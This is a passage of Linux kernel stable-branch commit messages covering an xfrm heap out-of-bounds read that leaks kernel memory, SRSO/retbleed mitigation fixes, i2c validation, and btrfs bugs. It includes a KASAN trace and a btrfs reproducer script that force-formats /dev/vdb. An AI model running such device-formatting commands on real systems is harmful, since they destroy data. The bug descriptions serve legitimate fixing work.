__netlink_dump_start+0x353/0x430 [ 44.212045] xfrm_user_rcv_msg+0x3a4/0x410 [ 44.212045] ? __pfx__raw_spin_lock_irqsave+0x10/0x10 [ 44.212045] ? __pfx_xfrm_user_rcv_msg+0x10/0x10 [ 44.212045] ? __pfx_xfrm_dump_sa+0x10/0x10 [ 44.212045] ? __pfx_xfrm_dump_sa_done+0x10/0x10 [ 44.212045] ? __stack_depot_save+0x382/0x4e0 [ 44.212045] ? filter_irq_stacks+0x1c/0x70 [ 44.212045] ? kasan_save_stack+0x32/0x50 [ 44.212045] ? kasan_save_stack+0x22/0x50 [ 44.212045] ? kasan_set_track+0x25/0x30 [ 44.212045] ? __kasan_slab_alloc+0x59/0x70 [ 44.212045] ? kmem_cache_alloc_node+0xf7/0x260 [ 44.212045] ? kmalloc_reserve+0xab/0x120 [ 44.212045] ? __alloc_skb+0xcf/0x210 [ 44.212045] ? netlink_sendmsg+0x509/0x700 [ 44.212045] ? sock_sendmsg+0xde/0xe0 [ 44.212045] ? __sys_sendto+0x18d/0x230 [ 44.212045] ? __x64_sys_sendto+0x71/0x90 [ 44.212045] ? do_syscall_64+0x3f/0x90 [ 44.212045] ? entry_SYSCALL_64_after_hwframe+0x72/0xdc [ 44.212045] ? netlink_sendmsg+0x509/0x700 [ 44.212045] ? sock_sendmsg+0xde/0xe0 [ 44.212045] ? __sys_sendto+0x18d/0x230 [ 44.212045] ? __x64_sys_sendto+0x71/0x90 [ 44.212045] ? do_syscall_64+0x3f/0x90 [ 44.212045] ? entry_SYSCALL_64_after_hwframe+0x72/0xdc [ 44.212045] ? kasan_save_stack+0x22/0x50 [ 44.212045] ? kasan_set_track+0x25/0x30 [ 44.212045] ? kasan_save_free_info+0x2e/0x50 [ 44.212045] ? __kasan_slab_free+0x10a/0x190 [ 44.212045] ? kmem_cache_free+0x9c/0x340 [ 44.212045] ? netlink_recvmsg+0x23c/0x660 [ 44.212045] ? sock_recvmsg+0xeb/0xf0 [ 44.212045] ? __sys_recvfrom+0x13c/0x1f0 [ 44.212045] ? __x64_sys_recvfrom+0x71/0x90 [ 44.212045] ? do_syscall_64+0x3f/0x90 [ 44.212045] ? entry_SYSCALL_64_after_hwframe+0x72/0xdc [ 44.212045] ? copyout+0x3e/0x50 [ 44.212045] netlink_rcv_skb+0xd6/0x210 [ 44.212045] ? __pfx_xfrm_user_rcv_msg+0x10/0x10 [ 44.212045] ? __pfx_netlink_rcv_skb+0x10/0x10 [ 44.212045] ? __pfx_sock_has_perm+0x10/0x10 [ 44.212045] ? mutex_lock+0x8d/0xe0 [ 44.212045] ? __pfx_mutex_lock+0x10/0x10 [ 44.212045] xfrm_netlink_rcv+0x44/0x50 [ 44.212045] netlink_unicast+0x36f/0x4c0 [ 44.212045] ? __pfx_netlink_unicast+0x10/0x10 [ 44.212045] ? netlink_recvmsg+0x500/0x660 [ 44.212045] netlink_sendmsg+0x3b7/0x700 [ 44.212045] ? __pfx_netlink_sendmsg+0x10/0x10 [ 44.212045] ? __pfx_netlink_sendmsg+0x10/0x10 [ 44.212045] sock_sendmsg+0xde/0xe0 [ 44.212045] __sys_sendto+0x18d/0x230 [ 44.212045] ? __pfx___sys_sendto+0x10/0x10 [ 44.212045] ? rcu_core+0x44a/0xe10 [ 44.212045] ? __rseq_handle_notify_resume+0x45b/0x740 [ 44.212045] ? _raw_spin_lock_irq+0x81/0xe0 [ 44.212045] ? __pfx___rseq_handle_notify_resume+0x10/0x10 [ 44.212045] ? __pfx_restore_fpregs_from_fpstate+0x10/0x10 [ 44.212045] ? __pfx_blkcg_maybe_throttle_current+0x10/0x10 [ 44.212045] ? __pfx_task_work_run+0x10/0x10 [ 44.212045] __x64_sys_sendto+0x71/0x90 [ 44.212045] do_syscall_64+0x3f/0x90 [ 44.212045] entry_SYSCALL_64_after_hwframe+0x72/0xdc [ 44.212045] RIP: 0033:0x44b7da [ 44.212045] RSP: 002b:00007ffdc8838548 EFLAGS: 00000246 ORIG_RAX: 000000000000002c [ 44.212045] RAX: ffffffffffffffda RBX: 00007ffdc8839978 RCX: 000000000044b7da [ 44.212045] RDX: 0000000000000038 RSI: 00007ffdc8838770 RDI: 0000000000000003 [ 44.212045] RBP: 00007ffdc88385b0 R08: 00007ffdc883858c R09: 000000000000000c [ 44.212045] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000001 [ 44.212045] R13: 00007ffdc8839968 R14: 00000000004c37d0 R15: 0000000000000001 [ 44.212045] [ 44.212045] [ 44.212045] Allocated by task 97: [ 44.212045] kasan_save_stack+0x22/0x50 [ 44.212045] kasan_set_track+0x25/0x30 [ 44.212045] __kasan_kmalloc+0x7f/0x90 [ 44.212045] __kmalloc_node_track_caller+0x5b/0x140 [ 44.212045] kmemdup+0x21/0x50 [ 44.212045] xfrm_dump_sa+0x17d/0x290 [ 44.212045] netlink_dump+0x322/0x6c0 [ 44.212045] __netlink_dump_start+0x353/0x430 [ 44.212045] xfrm_user_rcv_msg+0x3a4/0x410 [ 44.212045] netlink_rcv_skb+0xd6/0x210 [ 44.212045] xfrm_netlink_rcv+0x44/0x50 [ 44.212045] netlink_unicast+0x36f/0x4c0 [ 44.212045] netlink_sendmsg+0x3b7/0x700 [ 44.212045] sock_sendmsg+0xde/0xe0 [ 44.212045] __sys_sendto+0x18d/0x230 [ 44.212045] __x64_sys_sendto+0x71/0x90 [ 44.212045] do_syscall_64+0x3f/0x90 [ 44.212045] entry_SYSCALL_64_after_hwframe+0x72/0xdc [ 44.212045] [ 44.212045] The buggy address belongs to the object at ffff88800870f300 [ 44.212045] which belongs to the cache kmalloc-64 of size 64 [ 44.212045] The buggy address is located 32 bytes inside of [ 44.212045] allocated 36-byte region [ffff88800870f300, ffff88800870f324) [ 44.212045] [ 44.212045] The buggy address belongs to the physical page: [ 44.212045] page:00000000e4de16ee refcount:1 mapcount:0 mapping:000000000 ... [ 44.212045] flags: 0x100000000000200(slab|node=0|zone=1) [ 44.212045] page_type: 0xffffffff() [ 44.212045] raw: 0100000000000200 ffff888004c41640 dead000000000122 0000000000000000 [ 44.212045] raw: 0000000000000000 0000000080200020 00000001ffffffff 0000000000000000 [ 44.212045] page dumped because: kasan: bad access detected [ 44.212045] [ 44.212045] Memory state around the buggy address: [ 44.212045] ffff88800870f200: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc [ 44.212045] ffff88800870f280: 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc fc [ 44.212045] >ffff88800870f300: 00 00 00 00 04 fc fc fc fc fc fc fc fc fc fc fc [ 44.212045] ^ [ 44.212045] ffff88800870f380: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 44.212045] ffff88800870f400: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc [ 44.212045] ================================================================== By investigating the code, we find the root cause of this OOB is the lack of checks in xfrm_dump_sa(). The buggy code allows a malicious user to pass arbitrary value of filter->splen/dplen. Hence, with crafted xfrm states, the attacker can achieve 8 bytes heap OOB read, which causes info leak. if (attrs[XFRMA_ADDRESS_FILTER]) { filter = kmemdup(nla_data(attrs[XFRMA_ADDRESS_FILTER]), sizeof(*filter), GFP_KERNEL); if (filter == NULL) return -ENOMEM; // NO MORE CHECKS HERE !!! } This patch fixes the OOB by adding necessary boundary checks, just like the code in pfkey_dump() function. Fixes: d3623099d350 ("ipsec: add support of limited SA dump") Signed-off-by: Lin Ma Signed-off-by: Steffen Klassert Signed-off-by: Sasha Levin commit e854497f5acf82ac8e31108d9d7120a51807ccf9 Author: Borislav Petkov (AMD) Date: Tue Aug 15 11:53:13 2023 +0200 x86/srso: Correct the mitigation status when SMT is disabled commit 6405b72e8d17bd1875a56ae52d23ec3cd51b9d66 upstream. Specify how is SRSO mitigated when SMT is disabled. Also, correct the SMT check for that. Fixes: e9fbc47b818b ("x86/srso: Disable the mitigation on unaffected configurations") Suggested-by: Josh Poimboeuf Signed-off-by: Borislav Petkov (AMD) Acked-by: Josh Poimboeuf Link: https://lore.kernel.org/r/20230814200813.p5czl47zssuej7nv@treble Signed-off-by: Greg Kroah-Hartman commit dc4d07ddc4ff462b78be77edd8ad9f0c4fe38395 Author: Petr Pavlu Date: Tue Jul 11 11:19:52 2023 +0200 x86/retpoline,kprobes: Skip optprobe check for indirect jumps with retpolines and IBT commit 833fd800bf56b74d39d71d3f5936dffb3e0409c6 upstream. The kprobes optimization check can_optimize() calls insn_is_indirect_jump() to detect indirect jump instructions in a target function. If any is found, creating an optprobe is disallowed in the function because the jump could be from a jump table and could potentially land in the middle of the target optprobe. With retpolines, insn_is_indirect_jump() additionally looks for calls to indirect thunks which the compiler potentially used to replace original jumps. This extra check is however unnecessary because jump tables are disabled when the kernel is built with retpolines. The same is currently the case with IBT. Based on this observation, remove the logic to look for calls to indirect thunks and skip the check for indirect jumps altogether if the kernel is built with retpolines or IBT. Remove subsequently the symbols __indirect_thunk_start and __indirect_thunk_end which are no longer needed. Dropping this logic indirectly fixes a problem where the range [__indirect_thunk_start, __indirect_thunk_end] wrongly included also the return thunk. It caused that machines which used the return thunk as a mitigation and didn't have it patched by any alternative ended up not being able to use optprobes in any regular function. Fixes: 0b53c374b9ef ("x86/retpoline: Use -mfunction-return") Suggested-by: Peter Zijlstra (Intel) Suggested-by: Masami Hiramatsu (Google) Signed-off-by: Petr Pavlu Signed-off-by: Peter Zijlstra (Intel) Signed-off-by: Borislav Petkov (AMD) Acked-by: Masami Hiramatsu (Google) Link: https://lore.kernel.org/r/20230711091952.27944-3-petr.pavlu@suse.com Signed-off-by: Greg Kroah-Hartman commit aadb82bb7c656edc8ba9bf280eff97f5069d646c Author: Petr Pavlu Date: Tue Jul 11 11:19:51 2023 +0200 x86/retpoline,kprobes: Fix position of thunk sections with CONFIG_LTO_CLANG commit 79cd2a11224eab86d6673fe8a11d2046ae9d2757 upstream. The linker script arch/x86/kernel/vmlinux.lds.S matches the thunk sections ".text.__x86.*" from arch/x86/lib/retpoline.S as follows: .text { [...] TEXT_TEXT [...] __indirect_thunk_start = .; *(.text.__x86.*) __indirect_thunk_end = .; [...] } Macro TEXT_TEXT references TEXT_MAIN which normally expands to only ".text". However, with CONFIG_LTO_CLANG, TEXT_MAIN becomes ".text .text.[0-9a-zA-Z_]*" which wrongly matches also the thunk sections. The output layout is then different than expected. For instance, the currently defined range [__indirect_thunk_start, __indirect_thunk_end] becomes empty. Prevent the problem by using ".." as the first separator, for example, ".text..__x86.indirect_thunk". This pattern is utilized by other explicit section names which start with one of the standard prefixes, such as ".text" or ".data", and that need to be individually selected in the linker script. [ nathan: Fix conflicts with SRSO and fold in fix issue brought up by Andrew Cooper in post-review: https://lore.kernel.org/20230803230323.1478869-1-andrew.cooper3@citrix.com ] Fixes: dc5723b02e52 ("kbuild: add support for Clang LTO") Signed-off-by: Petr Pavlu Signed-off-by: Peter Zijlstra (Intel) Signed-off-by: Nathan Chancellor Signed-off-by: Borislav Petkov (AMD) Link: https://lore.kernel.org/r/20230711091952.27944-2-petr.pavlu@suse.com Signed-off-by: Greg Kroah-Hartman commit 51fc0a886211323e4915ed562bf2d36f73d8d19e Author: Borislav Petkov (AMD) Date: Sun Aug 13 12:39:34 2023 +0200 x86/srso: Disable the mitigation on unaffected configurations commit e9fbc47b818b964ddff5df5b2d5c0f5f32f4a147 upstream. Skip the srso cmd line parsing which is not needed on Zen1/2 with SMT disabled and with the proper microcode applied (latter should be the case anyway) as those are not affected. Fixes: 5a15d8348881 ("x86/srso: Tie SBPB bit setting to microcode patch detection") Signed-off-by: Borislav Petkov (AMD) Link: https://lore.kernel.org/r/20230813104517.3346-1-bp@alien8.de Signed-off-by: Greg Kroah-Hartman commit 1251b96d79fceaaddfbb6a90c2ec61f2d9bbcb1a Author: Borislav Petkov (AMD) Date: Fri Aug 11 23:38:24 2023 +0200 x86/CPU/AMD: Fix the DIV(0) initial fix attempt commit f58d6fbcb7c848b7f2469be339bc571f2e9d245b upstream. Initially, it was thought that doing an innocuous division in the #DE handler would take care to prevent any leaking of old data from the divider but by the time the fault is raised, the speculation has already advanced too far and such data could already have been used by younger operations. Therefore, do the innocuous division on every exit to userspace so that userspace doesn't see any potentially old data from integer divisions in kernel space. Do the same before VMRUN too, to protect host data from leaking into the guest too. Fixes: 77245f1c3c64 ("x86/CPU/AMD: Do not leak quotient data after a division by 0") Signed-off-by: Borislav Petkov (AMD) Cc: Link: https://lore.kernel.org/r/20230811213824.10025-1-bp@alien8.de Signed-off-by: Greg Kroah-Hartman commit 48a558fbe848de6cf03a2d12941da134afcab709 Author: Sean Christopherson Date: Fri Aug 11 08:52:55 2023 -0700 x86/retpoline: Don't clobber RFLAGS during srso_safe_ret() commit ba5ca5e5e6a1d55923e88b4a83da452166f5560e upstream. Use LEA instead of ADD when adjusting %rsp in srso_safe_ret{,_alias}() so as to avoid clobbering flags. Drop one of the INT3 instructions to account for the LEA consuming one more byte than the ADD. KVM's emulator makes indirect calls into a jump table of sorts, where the destination of each call is a small blob of code that performs fast emulation by executing the target instruction with fixed operands. E.g. to emulate ADC, fastop() invokes adcb_al_dl(): adcb_al_dl: <+0>: adc %dl,%al <+2>: jmp <__x86_return_thunk> A major motivation for doing fast emulation is to leverage the CPU to handle consumption and manipulation of arithmetic flags, i.e. RFLAGS is both an input and output to the target of the call. fastop() collects the RFLAGS result by pushing RFLAGS onto the stack and popping them back into a variable (held in %rdi in this case): asm("push %[flags]; popf; " CALL_NOSPEC " ; pushf; pop %[flags]\n" <+71>: mov 0xc0(%r8),%rdx <+78>: mov 0x100(%r8),%rcx <+85>: push %rdi <+86>: popf <+87>: call *%rsi <+89>: nop <+90>: nop <+91>: nop <+92>: pushf <+93>: pop %rdi and then propagating the arithmetic flags into the vCPU's emulator state: ctxt->eflags = (ctxt->eflags & ~EFLAGS_MASK) | (flags & EFLAGS_MASK); <+64>: and $0xfffffffffffff72a,%r9 <+94>: and $0x8d5,%edi <+109>: or %rdi,%r9 <+122>: mov %r9,0x10(%r8) The failures can be most easily reproduced by running the "emulator" test in KVM-Unit-Tests. If you're feeling a bit of deja vu, see commit b63f20a778c8 ("x86/retpoline: Don't clobber RFLAGS during CALL_NOSPEC on i386"). In addition, this breaks booting of clang-compiled guest on a gcc-compiled host where the host contains the %rsp-modifying SRSO mitigations. [ bp: Massage commit message, extend, remove addresses. ] Fixes: fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation") Closes: https://lore.kernel.org/all/de474347-122d-54cd-eabf-9dcc95ab9eae@amd.com Reported-by: Srikanth Aithal Reported-by: Nathan Chancellor Signed-off-by: Sean Christopherson Signed-off-by: Borislav Petkov (AMD) Tested-by: Nathan Chancellor Cc: stable@vger.kernel.org Link: https://lore.kernel.org/20230810013334.GA5354@dev-arch.thelio-3990X/ Link: https://lore.kernel.org/r/20230811155255.250835-1-seanjc@google.com Signed-off-by: Greg Kroah-Hartman commit 92588f22a2a6b4198cde4481526f157c5bec562b Author: Peter Zijlstra Date: Wed Aug 16 12:44:19 2023 +0200 x86/static_call: Fix __static_call_fixup() commit 54097309620ef0dc2d7083783dc521c6a5fef957 upstream. Christian reported spurious module load crashes after some of Song's module memory layout patches. Turns out that if the very last instruction on the very last page of the module is a 'JMP __x86_return_thunk' then __static_call_fixup() will trip a fault and die. And while the module rework made this slightly more likely to happen, it's always been possible. Fixes: ee88d363d156 ("x86,static_call: Use alternative RET encoding") Reported-by: Christian Bricart Signed-off-by: Peter Zijlstra (Intel) Acked-by: Josh Poimboeuf Link: https://lkml.kernel.org/r/20230816104419.GA982867@hirez.programming.kicks-ass.net Signed-off-by: Greg Kroah-Hartman commit 37e6d8509c19f928386ca3fdddd2209b0da12ae7 Author: Peter Zijlstra Date: Wed Aug 16 13:59:21 2023 +0200 objtool/x86: Fixup frame-pointer vs rethunk commit dbf46008775516f7f25c95b7760041c286299783 upstream. For stack-validation of a frame-pointer build, objtool validates that every CALL instruction is preceded by a frame-setup. The new SRSO return thunks violate this with their RSB stuffing trickery. Extend the __fentry__ exception to also cover the embedded_insn case used for this. This cures: vmlinux.o: warning: objtool: srso_untrain_ret+0xd: call without frame pointer save/setup Fixes: 4ae68b26c3ab ("objtool/x86: Fix SRSO mess") Signed-off-by: Peter Zijlstra (Intel) Signed-off-by: Borislav Petkov (AMD) Acked-by: Josh Poimboeuf Link: https://lore.kernel.org/r/20230816115921.GH980931@hirez.programming.kicks-ass.net Signed-off-by: Greg Kroah-Hartman commit c70e2efa972b5a53c17fb821705dfa8aed116bcf Author: Borislav Petkov (AMD) Date: Mon Aug 14 21:29:50 2023 +0200 x86/srso: Explain the untraining sequences a bit more commit 9dbd23e42ff0b10c9b02c9e649c76e5228241a8e upstream. The goal is to eventually have a proper documentation about all this. Signed-off-by: Borislav Petkov (AMD) Link: https://lore.kernel.org/r/20230814164447.GFZNpZ/64H4lENIe94@fat_crate.local Signed-off-by: Greg Kroah-Hartman commit 04103096c1c3c54ef55e174778d2807f5b4070e0 Author: Peter Zijlstra Date: Mon Aug 14 13:44:35 2023 +0200 x86/cpu/kvm: Provide UNTRAIN_RET_VM commit 864bcaa38ee44ec6c0e43f79c2d2997b977e26b2 upstream. Similar to how it doesn't make sense to have UNTRAIN_RET have two untrain calls, it also doesn't make sense for VMEXIT to have an extra IBPB call. This cures VMEXIT doing potentially unret+IBPB or double IBPB. Also, the (SEV) VMEXIT case seems to have been overlooked. Redefine the meaning of the synthetic IBPB flags to: - ENTRY_IBPB -- issue IBPB on entry (was: entry + VMEXIT) - IBPB_ON_VMEXIT -- issue IBPB on VMEXIT And have 'retbleed=ibpb' set *BOTH* feature flags to ensure it retains the previous behaviour and issues IBPB on entry+VMEXIT. The new 'srso=ibpb_vmexit' option only sets IBPB_ON_VMEXIT. Create UNTRAIN_RET_VM specifically for the VMEXIT case, and have that check IBPB_ON_VMEXIT. All this avoids having the VMEXIT case having to check both ENTRY_IBPB and IBPB_ON_VMEXIT and simplifies the alternatives. Fixes: fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation") Signed-off-by: Peter Zijlstra (Intel) Signed-off-by: Borislav Petkov (AMD) Link: https://lore.kernel.org/r/20230814121149.109557833@infradead.org Signed-off-by: Greg Kroah-Hartman commit 9588fd887886e12c33b109f6aec37aa1564649a0 Author: Peter Zijlstra Date: Mon Aug 14 13:44:34 2023 +0200 x86/cpu: Cleanup the untrain mess commit e7c25c441e9e0fa75b4c83e0b26306b702cfe90d upstream. Since there can only be one active return_thunk, there only needs be one (matching) untrain_ret. It fundamentally doesn't make sense to allow multiple untrain_ret at the same time. Fold all the 3 different untrain methods into a single (temporary) helper stub. Fixes: fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation") Signed-off-by: Peter Zijlstra (Intel) Signed-off-by: Borislav Petkov (AMD) Link: https://lore.kernel.org/r/20230814121149.042774962@infradead.org Signed-off-by: Greg Kroah-Hartman commit ee621dddfe0fa20e838218331125118c8dcb85fa Author: Peter Zijlstra Date: Mon Aug 14 13:44:33 2023 +0200 x86/cpu: Rename srso_(.*)_alias to srso_alias_\1 commit 42be649dd1f2eee6b1fb185f1a231b9494cf095f upstream. For a more consistent namespace. [ bp: Fixup names in the doc too. ] Signed-off-by: Peter Zijlstra (Intel) Signed-off-by: Borislav Petkov (AMD) Link: https://lore.kernel.org/r/20230814121148.976236447@infradead.org Signed-off-by: Greg Kroah-Hartman commit 5c510151d7698f231f68cd35b6ca20774151fa21 Author: Peter Zijlstra Date: Mon Aug 14 13:44:32 2023 +0200 x86/cpu: Rename original retbleed methods commit d025b7bac07a6e90b6b98b487f88854ad9247c39 upstream. Rename the original retbleed return thunk and untrain_ret to retbleed_return_thunk() and retbleed_untrain_ret(). No functional changes. Suggested-by: Josh Poimboeuf Signed-off-by: Peter Zijlstra (Intel) Signed-off-by: Borislav Petkov (AMD) Link: https://lore.kernel.org/r/20230814121148.909378169@infradead.org Signed-off-by: Greg Kroah-Hartman commit 4f0d18c28fcb7c7b5b440c1324b054f40a779853 Author: Peter Zijlstra Date: Mon Aug 14 13:44:31 2023 +0200 x86/cpu: Clean up SRSO return thunk mess commit d43490d0ab824023e11d0b57d0aeec17a6e0ca13 upstream. Use the existing configurable return thunk. There is absolute no justification for having created this __x86_return_thunk alternative. To clarify, the whole thing looks like: Zen3/4 does: srso_alias_untrain_ret: nop2 lfence jmp srso_alias_return_thunk int3 srso_alias_safe_ret: // aliasses srso_alias_untrain_ret just so add $8, %rsp ret int3 srso_alias_return_thunk: call srso_alias_safe_ret ud2 While Zen1/2 does: srso_untrain_ret: movabs $foo, %rax lfence call srso_safe_ret (jmp srso_return_thunk ?) int3 srso_safe_ret: // embedded in movabs instruction add $8,%rsp ret int3 srso_return_thunk: call srso_safe_ret ud2 While retbleed does: zen_untrain_ret: test $0xcc, %bl lfence jmp zen_return_thunk int3 zen_return_thunk: // embedded in the test instruction ret int3 Where Zen1/2 flush the BTB entry using the instruction decoder trick (test,movabs) Zen3/4 use BTB aliasing. SRSO adds a return sequence (srso_safe_ret()) which forces the function return instruction to speculate into a trap (UD2). This RET will then mispredict and execution will continue at the return site read from the top of the stack. Pick one of three options at boot (evey function can only ever return once). [ bp: Fixup commit message uarch details and add them in a comment in the code too. Add a comment about the srso_select_mitigation() dependency on retbleed_select_mitigation(). Add moar ifdeffery for 32-bit builds. Add a dummy srso_untrain_ret_alias() definition for 32-bit alternatives needing the symbol. ] Fixes: fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation") Signed-off-by: Peter Zijlstra (Intel) Signed-off-by: Borislav Petkov (AMD) Link: https://lore.kernel.org/r/20230814121148.842775684@infradead.org Signed-off-by: Greg Kroah-Hartman commit 06bcb3dadce7fee3cb72ed611f4f928b82874e26 Author: Peter Zijlstra Date: Mon Aug 14 13:44:30 2023 +0200 x86/alternative: Make custom return thunk unconditional commit 095b8303f3835c68ac4a8b6d754ca1c3b6230711 upstream. There is infrastructure to rewrite return thunks to point to any random thunk one desires, unwrap that from CALL_THUNKS, which up to now was the sole user of that. [ bp: Make the thunks visible on 32-bit and add ifdeffery for the 32-bit builds. ] Signed-off-by: Peter Zijlstra (Intel) Signed-off-by: Borislav Petkov (AMD) Link: https://lore.kernel.org/r/20230814121148.775293785@infradead.org Signed-off-by: Greg Kroah-Hartman commit 2d4d8761e314bbd0d2a5e1ca7001968846bbd1bf Author: Peter Zijlstra Date: Mon Aug 14 13:44:29 2023 +0200 objtool/x86: Fix SRSO mess commit 4ae68b26c3ab5a82aa271e6e9fc9b1a06e1d6b40 upstream. Objtool --rethunk does two things: - it collects all (tail) call's of __x86_return_thunk and places them into .return_sites. These are typically compiler generated, but RET also emits this same. - it fudges the validation of the __x86_return_thunk symbol; because this symbol is inside another instruction, it can't actually find the instruction pointed to by the symbol offset and gets upset. Because these two things pertained to the same symbol, there was no pressing need to separate these two separate things. However, alas, along comes SRSO and more crazy things to deal with appeared. The SRSO patch itself added the following symbol names to identify as rethunk: 'srso_untrain_ret', 'srso_safe_ret' and '__ret' Where '__ret' is the old retbleed return thunk, 'srso_safe_ret' is a new similarly embedded return thunk, and 'srso_untrain_ret' is completely unrelated to anything the above does (and was only included because of that INT3 vs UD2 issue fixed previous). Clear things up by adding a second category for the embedded instruction thing. Fixes: fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation") Signed-off-by: Peter Zijlstra (Intel) Signed-off-by: Borislav Petkov (AMD) Link: https://lore.kernel.org/r/20230814121148.704502245@infradead.org Signed-off-by: Greg Kroah-Hartman commit 1e7b3334d1806dc85cb326c63c642a22d59a03be Author: Peter Zijlstra Date: Mon Aug 14 13:44:28 2023 +0200 x86/cpu: Fix up srso_safe_ret() and __x86_return_thunk() commit af023ef335f13c8b579298fc432daeef609a9e60 upstream. vmlinux.o: warning: objtool: srso_untrain_ret() falls through to next function __x86_return_skl() vmlinux.o: warning: objtool: __x86_return_thunk() falls through to next function __x86_return_skl() This is because these functions (can) end with CALL, which objtool does not consider a terminating instruction. Therefore, replace the INT3 instruction (which is a non-fatal trap) with UD2 (which is a fatal-trap). This indicates execution will not continue past this point. Fixes: fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation") Signed-off-by: Peter Zijlstra (Intel) Signed-off-by: Borislav Petkov (AMD) Link: https://lore.kernel.org/r/20230814121148.637802730@infradead.org Signed-off-by: Greg Kroah-Hartman commit 7047af224197b6477d624013dd5750e33528e1a4 Author: Peter Zijlstra Date: Mon Aug 14 13:44:27 2023 +0200 x86/cpu: Fix __x86_return_thunk symbol type commit 77f67119004296a9b2503b377d610e08b08afc2a upstream. Commit fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation") reimplemented __x86_return_thunk with a mix of SYM_FUNC_START and SYM_CODE_END, this is not a sane combination. Since nothing should ever actually 'CALL' this, make it consistently CODE. Fixes: fb3bd914b3ec ("x86/srso: Add a Speculative RAS Overflow mitigation") Signed-off-by: Peter Zijlstra (Intel) Signed-off-by: Borislav Petkov (AMD) Link: https://lore.kernel.org/r/20230814121148.571027074@infradead.org Signed-off-by: Greg Kroah-Hartman commit 385f438b580779067ab1169d7516425b8c6aeffe Author: Tam Nguyen Date: Wed Jul 26 15:00:01 2023 +0700 i2c: designware: Handle invalid SMBus block data response length value commit 69f035c480d76f12bf061148ccfd578e1099e5fc upstream. In the I2C_FUNC_SMBUS_BLOCK_DATA case, the invalid length byte value (outside of 1-32) of the SMBus block data response from the Slave device is not correctly handled by the I2C Designware driver. In case IC_EMPTYFIFO_HOLD_MASTER_EN==1, which cannot be detected from the registers, the Master can be disabled only if the STOP bit is set. Without STOP bit set, the Master remains active, holding the bus until receiving a block data response length. This hangs the bus and is unrecoverable. Avoid this by issuing another dump read to reach the stop condition when an invalid length byte is received. Cc: stable@vger.kernel.org Signed-off-by: Tam Nguyen Acked-by: Jarkko Nikula Link: https://lore.kernel.org/r/20230726080001.337353-3-tamnguyenchi@os.amperecomputing.com Reviewed-by: Andi Shyti Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman commit b2ef640ff40de47e42c69c1c6a4592d0205034f2 Author: Quan Nguyen Date: Wed Jul 26 15:00:00 2023 +0700 i2c: designware: Correct length byte validation logic commit 49d4db3953cb9004ff94efc0c176e026c820af5a upstream. Commit 0daede80f870 ("i2c: designware: Convert driver to using regmap API") changes the logic to validate the whole 32-bit return value of DW_IC_DATA_CMD register instead of 8-bit LSB without reason. Later, commit f53f15ba5a85 ("i2c: designware: Get right data length"), introduced partial fix but not enough because the "tmp > 0" still test tmp as 32-bit value and is wrong in case the IC_DATA_CMD[11] is set. Revert the logic to just before commit 0daede80f870 ("i2c: designware: Convert driver to using regmap API"). Fixes: f53f15ba5a85 ("i2c: designware: Get right data length") Fixes: 0daede80f870 ("i2c: designware: Convert driver to using regmap API") Cc: stable@vger.kernel.org Signed-off-by: Tam Nguyen Signed-off-by: Quan Nguyen Acked-by: Jarkko Nikula Link: https://lore.kernel.org/r/20230726080001.337353-2-tamnguyenchi@os.amperecomputing.com Reviewed-by: Andi Shyti Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman commit c4b460b5fa92ba464cf7a334253a31b0a91fe0ea Author: Chris Mason Date: Tue Aug 1 09:28:28 2023 -0700 btrfs: only subtract from len_to_oe_boundary when it is tracking an extent commit 09c3717c3a60e3ef599bc17c70cd3ae2b979ad41 upstream. bio_ctrl->len_to_oe_boundary is used to make sure we stay inside a zone as we submit bios for writes. Every time we add a page to the bio, we decrement those bytes from len_to_oe_boundary, and then we submit the bio if we happen to hit zero. Most of the time, len_to_oe_boundary gets set to U32_MAX. submit_extent_page() adds pages into our bio, and the size of the bio ends up limited by: - Are we contiguous on disk? - Does bio_add_page() allow us to stuff more in? - is len_to_oe_boundary > 0? The len_to_oe_boundary math starts with U32_MAX, which isn't page or sector aligned, and subtracts from it until it hits zero. In the non-zoned case, the last IO we submit before we hit zero is going to be unaligned, triggering BUGs. This is hard to trigger because bio_add_page() isn't going to make a bio of U32_MAX size unless you give it a perfect set of pages and fully contiguous extents on disk. We can hit it pretty reliably while making large swapfiles during provisioning because the machine is freshly booted, mostly idle, and the disk is freshly formatted. It's also possible to trigger with reads when read_ahead_kb is set to 4GB. The code has been clean up and shifted around a few times, but this flaw has been lurking since the counter was added. I think the commit 24e6c8082208 ("btrfs: simplify main loop in submit_extent_page") ended up exposing the bug. The fix used here is to skip doing math on len_to_oe_boundary unless we've changed it from the default U32_MAX value. bio_add_page() is the real limit we want, and there's no reason to do extra math when block layer is doing it for us. Sample reproducer, note you'll need to change the path to the bdi and device: SUBVOL=/btrfs/swapvol SWAPFILE=$SUBVOL/swapfile SZMB=8192 mkfs.btrfs -f /dev/vdb mount /dev/vdb /btrfs btrfs subvol create $SUBVOL chattr +C $SUBVOL dd if=/dev/zero of=$SWAPFILE bs=1M count=$SZMB sync echo 4 > /proc/sys/vm/drop_caches echo 4194304 > /sys/class/bdi/btrfs-2/read_ahead_kb while true; do echo 1 > /proc/sys/vm/drop_caches echo 1 > /proc/sys/vm/drop_caches dd of=/dev/zero if=$SWAPFILE bs=4096M count=2 iflag=fullblock done Fixes: 24e6c8082208 ("btrfs: simplify main loop in submit_extent_page") CC: stable@vger.kernel.org # 6.4+ Reviewed-by: Sweet Tea Dorminy Reviewed-by: Christoph Hellwig Reviewed-by: Qu Wenruo Signed-off-by: Chris Mason Signed-off-by: David Sterba Signed-off-by: Greg Kroah-Hartman commit 8add2a9644e46ce025f68d868988b48f8f5b4a8c Author: Anand Jain Date: Fri Jul 28 14:48:13 2023 +0800 btrfs: fix replace/scrub failure with metadata_uuid commit b471965fdb2daa225850e5972d86600992fa398e upstream. Fstests with POST_MKFS_CMD="btrfstune -m" (as in the 